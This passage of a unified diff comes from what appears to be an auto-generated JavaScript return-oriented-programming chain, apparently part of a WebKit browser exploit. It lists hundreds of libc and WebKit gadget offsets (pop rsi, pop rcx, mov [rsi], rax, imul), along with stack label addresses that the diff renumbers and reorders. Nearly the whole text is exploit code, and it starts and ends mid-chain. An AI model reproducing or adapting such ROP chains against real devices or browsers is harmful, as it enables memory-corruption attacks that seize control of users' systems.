0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L588: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -3953,7 +3953,7 @@ ropchain+88856, //L589 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+88872, //L590 +ropchain+88872, //L591 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -3961,7 +3961,7 @@ libc_base+206806 //pop rdi //L589: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L590: +//L591: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -4001,12 +4001,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+89144, //L597 +ropchain+89144, //L598 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L597: +//L598: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -4015,18 +4015,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+89224, //L601 +ropchain+89224, //L600 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L601: +//L600: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L599: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L600: +//L599: db([1, 0]); // 0x1 +set_gadget(libc_base+792472,); //pop rcx +//L601: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -4061,12 +4061,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+89488, //L606 +ropchain+89488, //L607 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L606: +//L607: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -4099,16 +4099,16 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+89704, //L612 +ropchain+89720, //L614 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L612: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L613: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L614: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -4116,7 +4116,7 @@ ropchain+89808, //L615 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+89824, //L616 +ropchain+89824, //L617 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -4124,7 +4124,7 @@ libc_base+206806 //pop rdi //L615: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L616: +//L617: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -4164,12 +4164,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+90096, //L623 +ropchain+90096, //L624 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L623: +//L624: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -4178,17 +4178,17 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+90176, //L627 +ropchain+90176, //L626 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L627: +//L626: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+788575,); //pop rax //L625: db([8, 0]); // 0x8 -set_gadget(libc_base+788575,); //pop rax -//L626: +set_gadget(libc_base+792472,); //pop rcx +//L627: db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx @@ -4224,12 +4224,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+90440, //L632 +ropchain+90440, //L633 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L632: +//L633: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -4242,16 +4242,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+90544, //L634 +ropchain+90560, //L636 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L634: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L635: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L636: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -4259,7 +4259,7 @@ ropchain+90648, //L637 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+90664, //L638 +ropchain+90664, //L639 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -4267,7 +4267,7 @@ libc_base+206806 //pop rdi //L637: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L638: +//L639: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -4307,12 +4307,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+90936, //L645 +ropchain+90936, //L646 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L645: +//L646: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -4321,18 +4321,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+91016, //L649 +ropchain+91016, //L648 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L649: +//L648: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L647: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L648: +//L647: db([7, 0]); // 0x7 +set_gadget(libc_base+792472,); //pop rcx +//L649: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -4367,12 +4367,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+91280, //L654 +ropchain+91280, //L655 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L654: +//L655: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -4405,16 +4405,16 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+91496, //L660 +ropchain+91512, //L662 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L660: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L661: db([40, 0]); // 0x28 +set_gadget(libc_base+792472,); //pop rcx +//L662: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -4422,7 +4422,7 @@ ropchain+91600, //L663 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+91616, //L664 +ropchain+91616, //L665 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -4430,7 +4430,7 @@ libc_base+206806 //pop rdi //L663: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L664: +//L665: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -4461,16 +4461,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+91840, //L669 +ropchain+91856, //L671 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L669: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L670: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L671: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -4478,7 +4478,7 @@ ropchain+91944, //L672 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+91960, //L673 +ropchain+91960, //L674 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -4486,7 +4486,7 @@ libc_base+206806 //pop rdi //L672: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L673: +//L674: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -4526,12 +4526,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+92232, //L680 +ropchain+92232, //L681 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L680: +//L681: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -4540,17 +4540,17 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+92312, //L684 +ropchain+92312, //L683 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L684: +//L683: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+788575,); //pop rax //L682: db([8, 0]); // 0x8 -set_gadget(libc_base+788575,); //pop rax -//L683: +set_gadget(libc_base+792472,); //pop rcx +//L684: db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx @@ -4586,12 +4586,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+92576, //L689 +ropchain+92576, //L690 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L689: +//L690: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -4633,16 +4633,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+92840, //L696 +ropchain+92856, //L698 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L696: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L697: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L698: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -4650,7 +4650,7 @@ ropchain+92944, //L699 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+92960, //L700 +ropchain+92960, //L701 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -4658,7 +4658,7 @@ libc_base+206806 //pop rdi //L699: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L700: +//L701: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -4698,12 +4698,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+93232, //L707 +ropchain+93232, //L708 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L707: +//L708: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -4712,18 +4712,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+93312, //L711 +ropchain+93312, //L710 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L711: +//L710: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L709: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L710: +//L709: db([9, 0]); // 0x9 +set_gadget(libc_base+792472,); //pop rcx +//L711: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -4758,12 +4758,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+93576, //L716 +ropchain+93576, //L717 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L716: +//L717: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -4796,16 +4796,16 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+93792, //L722 +ropchain+93808, //L724 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L722: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L723: db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+792472,); //pop rcx +//L724: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -4813,7 +4813,7 @@ ropchain+93896, //L725 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+93912, //L726 +ropchain+93912, //L727 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -4821,7 +4821,7 @@ libc_base+206806 //pop rdi //L725: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L726: +//L727: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -4861,12 +4861,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+94184, //L733 +ropchain+94184, //L734 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L733: +//L734: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -4875,18 +4875,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+94264, //L737 +ropchain+94264, //L736 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L737: +//L736: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L735: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L736: +//L735: db([6, 0]); // 0x6 +set_gadget(libc_base+792472,); //pop rcx +//L737: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -4921,12 +4921,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+94528, //L742 +ropchain+94528, //L743 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L742: +//L743: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -4939,16 +4939,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+94632, //L744 +ropchain+94648, //L746 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L744: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L745: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L746: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -4956,7 +4956,7 @@ ropchain+94736, //L747 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+94752, //L748 +ropchain+94752, //L749 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -4964,7 +4964,7 @@ libc_base+206806 //pop rdi //L747: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L748: +//L749: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -5004,12 +5004,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+95024, //L755 +ropchain+95024, //L756 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L755: +//L756: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -5018,18 +5018,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+95104, //L759 +ropchain+95104, //L758 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L759: +//L758: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L757: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L758: +//L757: db([10, 0]); // 0xa +set_gadget(libc_base+792472,); //pop rcx +//L759: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -5064,12 +5064,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+95368, //L764 +ropchain+95368, //L765 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L764: +//L765: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -5111,16 +5111,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+95632, //L771 +ropchain+95648, //L773 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L771: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L772: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L773: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -5128,7 +5128,7 @@ ropchain+95736, //L774 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+95752, //L775 +ropchain+95752, //L776 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -5136,7 +5136,7 @@ libc_base+206806 //pop rdi //L774: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L775: +//L776: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -5176,12 +5176,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+96024, //L782 +ropchain+96024, //L783 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L782: +//L783: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -5190,18 +5190,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+96104, //L786 +ropchain+96104, //L785 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L786: +//L785: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L784: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L785: +//L784: db([11, 0]); // 0xb +set_gadget(libc_base+792472,); //pop rcx +//L786: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -5236,12 +5236,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+96368, //L791 +ropchain+96368, //L792 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L791: +//L792: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -5283,16 +5283,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+96632, //L798 +ropchain+96648, //L800 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L798: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L799: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L800: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -5300,7 +5300,7 @@ ropchain+96736, //L801 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+96752, //L802 +ropchain+96752, //L803 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -5308,7 +5308,7 @@ libc_base+206806 //pop rdi //L801: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L802: +//L803: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -5348,12 +5348,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+97024, //L809 +ropchain+97024, //L810 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L809: +//L810: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -5362,18 +5362,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+97104, //L813 +ropchain+97104, //L812 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L813: +//L812: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L811: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L812: +//L811: db([12, 0]); // 0xc +set_gadget(libc_base+792472,); //pop rcx +//L813: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -5408,12 +5408,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+97368, //L818 +ropchain+97368, //L819 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L818: +//L819: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -5455,16 +5455,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+97632, //L825 +ropchain+97648, //L827 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L825: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L826: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L827: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -5472,7 +5472,7 @@ ropchain+97736, //L828 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+97752, //L829 +ropchain+97752, //L830 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -5480,7 +5480,7 @@ libc_base+206806 //pop rdi //L828: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L829: +//L830: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -5520,12 +5520,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+98024, //L836 +ropchain+98024, //L837 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L836: +//L837: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -5534,18 +5534,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+98104, //L840 +ropchain+98104, //L839 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L840: +//L839: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L838: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L839: +//L838: db([13, 0]); // 0xd +set_gadget(libc_base+792472,); //pop rcx +//L840: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -5580,12 +5580,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+98368, //L845 +ropchain+98368, //L846 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L845: +//L846: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -5618,16 +5618,16 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+98584, //L851 +ropchain+98600, //L853 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L851: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L852: db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+792472,); //pop rcx +//L853: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -5635,7 +5635,7 @@ ropchain+98688, //L854 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+98704, //L855 +ropchain+98704, //L856 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -5643,7 +5643,7 @@ libc_base+206806 //pop rdi //L854: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L855: +//L856: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -5683,12 +5683,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi 